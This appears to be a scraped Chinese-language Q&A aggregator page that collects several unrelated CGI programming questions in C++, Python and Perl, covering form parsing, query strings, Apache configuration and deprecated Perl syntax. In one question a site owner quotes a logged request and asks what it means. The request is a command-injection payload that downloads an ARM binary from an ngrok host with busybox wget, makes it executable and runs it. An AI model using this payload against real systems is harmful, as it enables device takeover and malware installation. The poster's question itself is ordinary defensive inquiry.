这是我用 cgi 检索 html 数据的 c++ 代码。
char* fileContentLength;
int nContentLength;
fileContentLength = getenv("CONTENT_LENGTH");
if(fileContentLength == NULL)
return -1;
nContentLength = atoi(fileContentLength);
if(nContentLength == 0)
return -1;
data = (char*) malloc(nContentLength+1);
if(data == NULL)
return -1;
memset(data, 0, nContentLength+1);
if(fread(data, 1, nContentLength, stdin) == 0)
return -1;
if(ferror(stdin))
Run Code Online (Sandbox Code Playgroud)
执行此代码后,我得到了变量“data”的以下结果。
f0=fname0&l0=lname0&f1=fname1&l1=lname1&f2=fname2&l2=lname2&f3=&l3=
这里 f0,l0,f1,l1 是 HTML 页面输入框的名称。从这个字符串中,我需要将 fname0、lname0、fname1、lname1 等值分开。我使用了 sscanf 功能。但我无法检索到正确的结果。如何将上述字符串中的值分配给名为 firstname 和 lastname 的局部变量。
我正在尝试访问 python 脚本中的查询字符串:在 bash 中,我将使用${QUERY_STRING}环境变量访问它。
我遇到过这样的事情:/sf/answers/193537571/,但是这个脚本,由 Apache2 运行:
#!/usr/bin/python
print self.request.query_string
Run Code Online (Sandbox Code Playgroud)
不打印任何内容,在命令行中,同样会产生此错误:
$ ./testing.py
Traceback (most recent call last):
File "./testing.py", line 3, in <module>
print self.request.query_string
NameError: name 'self' is not defined
Run Code Online (Sandbox Code Playgroud)
我如何阅读query_string?
我打开了一个网站,它的目的只是共享文本信息。后端没有数据库,或者不知道对它进行身份验证。但是,当我查看日志时,我注意到了这个请求:
POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a
Run Code Online (Sandbox Code Playgroud)
它发生了两次,我的服务器每次都响应 404 响应。但现在我有点担心它。我的网站在树莓派上运行,该树莓派连接到我的 ISP 设备。即使我的服务器没有任何 sudo 权限,我想知道他们是否有任何风险?
另外,有人可以向我解释这些可疑条目的含义。可能有什么风险?最后,您能否与我分享在任何设备(树莓派)和互联网之间设置管道时的一些技巧/良好行为。
我正在运行一个古老版本的 Movable Type,它对我来说效果很好。但是,我开始收到以下服务器错误:
defined(@array) is deprecated at /home/public_html/cgi-bin/mt/extlib/Locale/Maketext.pm line 623.
defined(%hash) is deprecated at /home/public_html/cgi-bin/mt/extlib/Locale/Maketext.pm line 623.
Run Code Online (Sandbox Code Playgroud)
我找到了有问题的行:
if defined(%{$module . "::Lexicon"}) or defined(@{$module . "::ISA"});
Run Code Online (Sandbox Code Playgroud)
以下是重构这一行的正确方法吗?
if %{$module . "::Lexicon"} or @{$module . "::ISA"};
Run Code Online (Sandbox Code Playgroud)
如果是这样,为什么?如果没有,为什么不呢?我想更好地了解defined(@array)和发生了什么defined(%hash)。
更新:我还在第 367 行发现了类似的问题CGI.pm:
if (defined(@QUERY_PARAM) && !defined($initializer)) {
Run Code Online (Sandbox Code Playgroud)
我重写了如下,但我仍然不确定它是否正确:
if (@QUERY_PARAM && $initializer) {
Run Code Online (Sandbox Code Playgroud)
我可以看到如何@QUERY_PARAM确认它存在,但我可能没有设置第二个不存在的条件$initializer,而且我不太确定如何做到这一点。
这是我的问题...我有一个python脚本,一旦从命令行执行,就会执行所需的操作并退出.如果在执行过程中程序无法执行选择,他会提示用户并要求他们做出决定!现在我必须实现一个Web界面,这里出现问题...我创建了一个简单形式的htm文件,一旦用户"提交",他将参数传递给只包含一行的cgi脚本并运行我的python程序!似乎工作......我的问题是:如果它发生程序需要让用户选择,我怎么能将这个值返回到我的python脚本!为了提示用户做出选择,我需要创建一个包含可能选择的网页...有谁知道如何用python打开网页?第二个也是最重要的问题是:如何将网页中的值返回到"原始"python模块?在python我会简单地做一个
回归选择
但有一个网页我不知道该怎么做!!
回顾:1.从网页开始,我运行一个cgi脚本!完成
这个CGI脚本运行我的python程序......完成
如果该计划无法做出决定,
3a创建一个网页,其中包含我可以做的选择
3b显示创建的网页????????
3c将响应返回到原来的pyhon模块????????
提前致谢
我认为将一种常见的方法添加到Apache Web服务器是将它配置为:
ScriptAlias /php5.3 /usr/local/php5.3/bin
Action application/php5.3 /php5.3/php-cgi
AddType application/php5.3 .php
Run Code Online (Sandbox Code Playgroud)
现在我尝试为Python编写类似的配置:
ScriptAlias /python /usr/bin
Action application/python /python/python
AddType application/python .py
Run Code Online (Sandbox Code Playgroud)
我有一个小的测试脚本,如下所示:
print "Content-Type: text/html\n\n"
print "Test"
Run Code Online (Sandbox Code Playgroud)
但是,由于apache错误日志显示以下内容,因此似乎有些错误:
Premature end of script headers: python
Run Code Online (Sandbox Code Playgroud)
所以我的第一个问题是我的python响应不对.但是有Content-Type和两个换行符.此外,调用的类似PHP脚本的输出也提供php-cgi了完全相同的输出.
此外,我还没有找到一个教程,展示如何让python以这种方式工作.也许这是不可能的,但后来我很好奇为什么会这样呢?或者我错过了什么?
我编写了一个Perl脚本来读取配置文件并创建CGI脚本.这工作正常,我在终端上获得CGI脚本的输出,我可以在网页上执行CGI脚本.下面是我的示例脚本.
#!/usr/bin/perl -w
use strict;
use Text::Template;
my $conf = "test.cfg";
open CFG, $conf or die "Could not open config file";
my @rawConfig = <CFG>;
my $config = eval "{".join("",@rawConfig)."}";
my $template = Text::Template->new(TYPE => 'FILE', SOURCE => 'test.cgi.tmpl');
my $result = $template->fill_in(HASH => $config);
print $result;
Run Code Online (Sandbox Code Playgroud)
通过使用这个我必须保存每个CGI并单独执行.我需要帮助来修改此代码,以便我可以直接在Web上执行此脚本并在网页上显示输出.
我继承了一个基于perl的web项目,我正在尝试建立一个本地测试服务器,以便可以在内部对项目进行更改.
服务器架构Ubuntu 9.10 php 5.2.10 mysql 5.1.37 perl 5.10.0-24ubuntu4
安装所有依赖模块和软件包,如DateTime.pm,TemplateToolkit.pm但运行该应用程序会抛出以下错误消息:
无法通过包"模板"找到对象方法"new"(也许你忘了加载"模板"?)在../lib//KPS/TemplateToolkit.pm第51行
这引用的代码块是:
sub new {
return Template->new(
INCLUDE_PATH => $KPS::Config::templatepath,
ABSOLUTE => 1,
DEBUG => 1,
);
}
Run Code Online (Sandbox Code Playgroud)
如果有人能够对此有所了解或指出我正确的方向,我将不胜感激.
谢谢
Simnom
是否有可能使这个脚本更快?
#!/usr/bin/perl -w
use strict;
use CGI;
package SwitchGUI;
sub new {
my ($classe, $nom, $nbports, $gio) = @_;
my $this = {
"nom" => $nom,
"nbports" => $nbports,
"gio" => $gio
};
bless($this, $classe);
$this->afficher();
return $this;
}
sub afficher {
my ($this) = @_;
my @tab = ( 1 .. $this->{nbports} );
my @odd = grep { $_ % 2 } @tab;
my @even = grep { not $_ % 2 } @tab;
my $cgi = new CGI; …Run Code Online (Sandbox Code Playgroud) 我试图找到一些压缩和优化我的perl的在线工具.从服务器端cgi删除(至少)空格和注释是否有任何好处?
cgi ×10
perl ×5
optimization ×2
post ×2
python ×2
apache ×1
apache2 ×1
c++ ×1
compression ×1
input ×1
movabletype ×1
python-2.7 ×1
scanf ×1
security ×1
templates ×1
ubuntu-9.10 ×1